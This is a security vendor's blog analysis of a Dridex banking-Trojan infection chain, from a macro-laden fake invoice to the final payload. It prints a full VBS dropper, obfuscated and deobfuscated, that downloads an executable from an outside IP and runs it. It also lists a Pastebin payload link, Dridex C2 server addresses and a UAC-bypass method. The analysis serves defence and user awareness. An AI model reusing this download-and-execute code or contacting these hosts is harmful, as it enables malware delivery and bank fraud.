The infection, explained step by step
Step 1: The Spam Campaign
This infection started with a spam email, something we have seen innumerous times before. The email’s content suggests that a sales department informs the recipient about an order he/she has allegedly performed, which is now being processed. The respective fake invoice is attached to the email, a Microsoft Office document.
Step 2: Opening the Microsoft Office Document
The document’s name is YU96260LFZ.doc
SHA256 e2d878a43607c04f151052e81a560a80525a343ea4e719c3a79e1cc8c45e47c5
The file name extension suggests that the file is a .doc, but the document actually is an MHTML document, which is a legitimate web page archive format. This standard is supported by Microsoft Word, using the extension .mht. We assume that the attacker originally generated a .mht file and simply changed the file name extension to .doc. Attackers use popular extensions for their social engineering attempts, because users feel less worried about opening file types they know. Furthermore, .mht files and .doc files share the same icon, which makes it even less suspicious in most users’ experiences.
The document contains a macro. When the user opens the document, he sees the following message:
Noticed the warning banner at the top end of this screenshot? Microsoft Word informs the user about all macro executions being currently disabled, which is a good thing for the user.
The written content within the document is unreadable, as you can see: only three lines of rubbish. Well, actually, four lines of rubbish, because the uppermost line reveals at least one grammatical error, “you” vs. “your”: “If you document has incorrect encoding – enable macro”. So much for another social engineering attempt.
You can already guess what comes next, right? Obviously, enabling macros starts the download of malicious code. Even though the macro was obfuscated, we could easily identify the URL used to download the code:
paul@gdata:~/ $ oledump.py -p plugin_http_heuristics.py file.mso
1: 541 'PROJECT'
2: 98 'PROJECTwm'
3: m 818 'VBA/Module2'
Plugin: HTTP Heuristics plugin
Module2
4: M 1607 'VBA/ThisDocument'
Plugin: HTTP Heuristics plugin
'N\x18\xac\x0e\x87.\x99\xe9\xed'
5: 3262 'VBA/_VBA_PROJECT'
6: 627 'VBA/dir'
7: M 5305
'VBA/\xd0\xb0\xd1\x86\xd1\x83\xd0\xba34\xd0\xba\xd1\x86\xd1\x83\xd0\xbc'
Plugin: HTTP Heuristics plugin
http://pastebin.com/download.php?i=VTd9HVkz
The website is Pastebin.com, a free service “where you can store text for a certain period of time” and share it with others by simply passing on the link to the page. It is basically used by developers, to share source code. We assume that the attackers used it because it is a legitimate service and it is unlikely that security products blacklist such a service per se. Moreover, it is really easy to store code on it, so it is convenient for the attackers to use the service offered.
Step 3: Payload hosted on Pastebin.com
The text sharing website set up by the attackers hosted a Visual Basic Script (VBS). The script was obfuscated in a quite simple way. Here is the beginning of the obfuscated code:
dim HGyu87f7Usf: Set HGyu87f7Usf = createobject(Chr(77) & Chr(105) &
Chr(99) & Chr(114) & Chr(111) & Chr(115) & Chr(111) & Chr(102) &
Chr(116) & Chr(46) & Chr(88) & Chr(77) & Chr(76) & Chr(72) & Chr(84) &
Chr(84) & Chr(80) )
dim oUIOGuiwefff: Set oUIOGuiwefff = createobject(Chr(65) & Chr(100) &
Chr(111) & Chr(100) & Chr(98) & Chr(46) & Chr(83) & Chr(116) & Chr(114) & Chr(101) & Chr(97) & Chr(109) )
HGyu87f7Usf.Open "GET", "http://91.227.18.18/stat/get.php", False
HGyu87f7Usf.Send
Set dfgfderer = WScript.CreateObject(Chr(87) & Chr(83) & Chr(99) &
Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108) ).Environment(Chr(80) & Chr(114) &
Chr(111) & Chr(99) & Chr(101) & Chr(115) & Chr(115) )
iyUGbuwerff = dfgfderer(Chr(65) & Chr(80) & Chr(80) & Chr(68) & Chr(65) & Chr(84) & Chr(65) )
iyUGUIvbuiwe7vhJ = iyUGbuwerff + Chr(92) & Chr(111) & Chr(56) & Chr(50) & Chr(51) & Chr(55) & Chr(52) & Chr(50) & Chr(51) & Chr(46) & Chr(101) & Chr(120) & Chr(101)
with oUIOGuiwefff
.type = 1
.open
.write HGyu87f7Usf.responseBody
.savetofile iyUGUIvbuiwe7vhJ, 2
end with
Set uyGUYhi8wef = CreateObject(Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108) & Chr(46) & Chr(65) & Chr(112) & Chr(112) & Chr(108) &
Chr(105) & Chr(99) & Chr(97) & Chr(116) & Chr(105) & Chr(111) & Chr(110) ) uyGUYhi8wef.Open iyUGUIvbuiwe7vhJ
And here is the deobfuscated code:
dim HGyu87f7Usf: Set HGyu87f7Usf = createobject(Microsoft.XMLHTTP )
dim oUIOGuiwefff: Set oUIOGuiwefff = createobject(Adodb.Stream )
HGyu87f7Usf.Open "GET", "http://91.227.18.18/stat/get.php", False
HGyu87f7Usf.Send
Set dfgfderer = WScript.CreateObject(WScript.Shell ).Environment(Process )
iyUGbuwerff = dfgfderer(APPDATA )
iyUGUIvbuiwe7vhJ = iyUGbuwerff + \o8237423.exe
with oUIOGuiwefff
.type = 1
.open
.write HGyu87f7Usf.responseBody
.savetofile iyUGUIvbuiwe7vhJ, 2
end with
Set uyGUYhi8wef = CreateObject(Shell.Application )
uyGUYhi8wef.Open iyUGUIvbuiwe7vhJ
The VBS downloaded an executable (the /get.php link), installed it in %APPDATA% with the name o8237423.exe and executed it. The binary link is now offline.
Step 4: Downloader & payload
The o8237423.exe binary (2e6af1212a81136b46af40bf82ddd11811dc64490336f7ce1059aa9dd3c39262) is a downloader. Before performing its main purpose, it tries to gain administrator privilege by bypassing the UAC. To perform this task, the downloader uses the popular trick to hide the UAC popup. It uses a customized .sdb file. You can find more information about this UAC issue the Microsoft website. The patch mentioned on this web page is considered to be optional by Microsoft. However, we suggest to apply it in order to force the UAC popup when a customized .sdb file is used to gain administrator privilege.
The downloaded payload is a downloader for Dridex. You can find more information about banking Trojans in our G DATA Malware Report H2 2014.
Here is the configuration of our Dridex sample which mainly targets Great Britain and France:
<config botnet_id=120 Servers= 46.36.217.227:3443, 159.253.20.116:4443, 5.44.216.44:1443, 91.218.228.25:8443 />
Finally a payload (library) was downloaded from one of the server mentioned in the configuration. The hash of this library was: 0305dda6ec81e8d8ff90152094d5e5e0f8914aeb6d984ee48d72f405a9b90f90 and matches a main Dridex payload.
Popular examples of Dridex’ attacks in various countries
We have heard and read about several cases in which Dridex has attacked and also succeeded to steal money from businesses, especially SMBs. In May, word broke about the banking Trojan being active in Belgium with a potential number of 35,000 affected machines using an special business banking solution. French media also reported about spam campaigns with Microsoft Office documents as bait for Dridex infections. The French ANSSI issued an alert about this campaign and its dangers.
Conclusion
We can conclude that malware authors are constantly trying to find innovations in order to trick human targets and security products alike. In this case, they used a legitimate website in the infection process which security products would not blacklist per se.
Moreover, they used non-standard Microsoft Office documents in order to trick some AV scanners. The G DATA products perfectly handle and detect these documents. Furthermore, G DATA's BankGuard technology defends computers reliably against Banking Trojans such as Dridex and many others!
Finally, the malware authors exploit a weakness in Microsoft’s OS in order to become administrator without showing the UAC popup. Concerning this point, we strongly suggest installing the Microsoft patch KB3045645, even if Microsoft does not estimate it as a required patch.
And we keep repeating the credo: do not open email attachments from unknown senders and do not enable macros in foreign documents either!!
During the past months, many incidents have shown that attackers try to confuse users with documents and other file types the user usually feels comfortable working with – personally and in the business context. Just because one thinks that such documents are harmless, they don’t necessarily have to be! Keep your eyes open and stay alert!
Advice
We strongly suggest you never open attachments you receive from an unknown sender. We suggest that you are attentive when it comes to invoices. Before opening an attachment you should ask to yourself a few questions:
- Did I actually order something?
- Does the website I used to order something use the same language as the email? e.g. A German website, will most probably send you all emails in German, not in English)
- Does the email contain orthographic mistakes or weird language?
- Does the email contain personal information, such as my real name, my address, a customer ID, my user name or anything else?
- If in doubt, do not open the attachment!
We strongly suggest you never enable macros in documents from unknown sources. We already mentioned this point in our SecurityBlog article "The Andromeda/Gamarue botnet is on the rise again".
Links zum Artikel:
We would like to thank Bart for his work on this topic, already available here:
bartblaze.blogspot.fr/2015/05/new-malicious-office-docs-trick.html
The botnet_id=120, mentioned in step 4, was analyzed by Team Cymru, in April: blog.team-cymru.org/2015/04/dridex-distribution-landscape/
https://blog.team-cymru.org/2015/04/dridex-distribution-landscape/
